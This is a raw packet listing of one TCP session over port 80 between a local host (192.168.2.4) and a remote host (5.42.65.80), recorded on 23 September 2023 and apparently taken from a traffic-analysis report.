Sep 23, 2023 17:53:22.648961067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.649049997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.650542974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.650599957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.650938034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.651005983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.651052952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.652228117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.652280092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.652326107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.653542042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.653609037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.653646946 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.654936075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.655014038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.655066967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.656289101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.656426907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.656466007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.657536030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.657623053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.657665968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.659074068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.659142017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.659183979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.660460949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.660551071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.660593987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.661631107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.661736012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.661776066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.663022041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.663114071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.663156033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.664202929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.664259911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.664305925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.665693998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.665757895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.665798903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.667001963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.667711973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.667758942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.667784929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.669025898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.669073105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.669142962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.670471907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.670522928 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.670912981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.671793938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.671850920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.671876907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.673002958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.673052073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.673058987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.674546957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.674591064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.674619913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.675775051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.675836086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.675843954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.677252054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.677269936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.677303076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.678396940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.678447962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.678466082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.679836035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.679886103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.679925919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.681046009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.681103945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.681106091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.682490110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.682517052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.682547092 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.683814049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.683872938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.684459925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.684519053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.684571981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.685836077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.685908079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.685955048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.687412977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.687429905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.687480927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.688718081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.688777924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.688831091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.689954996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.690022945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.690084934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.691392899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.691472054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.691519976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.692504883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.692617893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.692670107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.693962097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.694072008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.694137096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.695365906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.695420027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.695473909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.696674109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.696754932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.696810007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.698066950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.698137999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.698194027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.699311972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.699388027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.699438095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.700659990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.701276064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.701318979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.701355934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.702668905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.702724934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.702754021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.703986883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.704039097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.704046965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.705240965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.705293894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.705323935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.706660032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.706712008 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.706743002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.707959890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.708013058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.708019018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.709295034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.709330082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.709351063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.710609913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.710666895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.710669041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.712007999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.712066889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.712093115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.713336945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.713388920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.713438988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.714683056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.714728117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.714745045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.716151953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.716204882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.716212034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.717334986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.717394114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.718257904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.718275070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.718333006 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.719876051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.719964027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.720020056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.720710039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.720727921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.720784903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.721951962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.722075939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.722162962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.723376036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.723448992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.723510027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.726494074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.735984087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.736052990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.736068010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.737850904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.737903118 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.737935066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.742050886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.742088079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.742103100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.745481968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.745520115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.745552063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.749882936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.749947071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.749948025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.753988981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.754039049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.754079103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.757558107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.757620096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.757637978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.761233091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.761288881 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.761301041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.765258074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.765309095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.765338898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.767081976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.767132998 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.767149925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.770684958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.770745039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.770757914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.773940086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.773996115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.774020910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.777493954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.777510881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.777548075 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.778568983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.778610945 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.778626919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.781301975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.781357050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.781361103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.781899929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.781915903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.781949043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.783557892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.783618927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.783665895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.784924030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.784976959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.785083055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.785914898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.785959005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.785964012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.787408113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.787456989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.787471056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.788609028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.788657904 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.788690090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.790096045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.790147066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.790148020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.791630030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.791680098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.791739941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.792623997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.792665005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.792669058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.794110060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.794169903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.794195890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.795201063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.795243979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.795262098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.796634912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.796694994 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.796700954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.798157930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.798192024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.798207045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.799211025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.799263954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.799273968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.800575972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.800627947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.800640106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.801959991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.802006960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.802084923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.803128004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.803173065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.803174019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.804524899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.804585934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.804589033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.805727005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.805766106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.805780888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.806947947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.806994915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.807087898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.808552027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.808621883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.808646917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.809648991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.809704065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.809731007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.811024904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.811072111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.811084032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.812294006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.812335968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.812340975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.813565969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.813606024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.813611031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.814903975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.814944983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.814954042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.816174984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.816219091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.816227913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.817353010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.817410946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.817419052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.818670988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.818713903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.818753958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.819952011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.819999933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.820025921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.821409941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.821465969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.821470976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.822503090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.822556019 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.822566986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.823899031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.823945999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.823961973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.825131893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.825167894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.825177908 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.826371908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.826431990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.826447010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.827680111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.827724934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.827735901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.828797102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.828840017 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.828880072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.830153942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.830199003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.830332041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.831397057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.831433058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.831437111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.832695961 CEST	80	49781	5.42.65.80	192.168.2.4
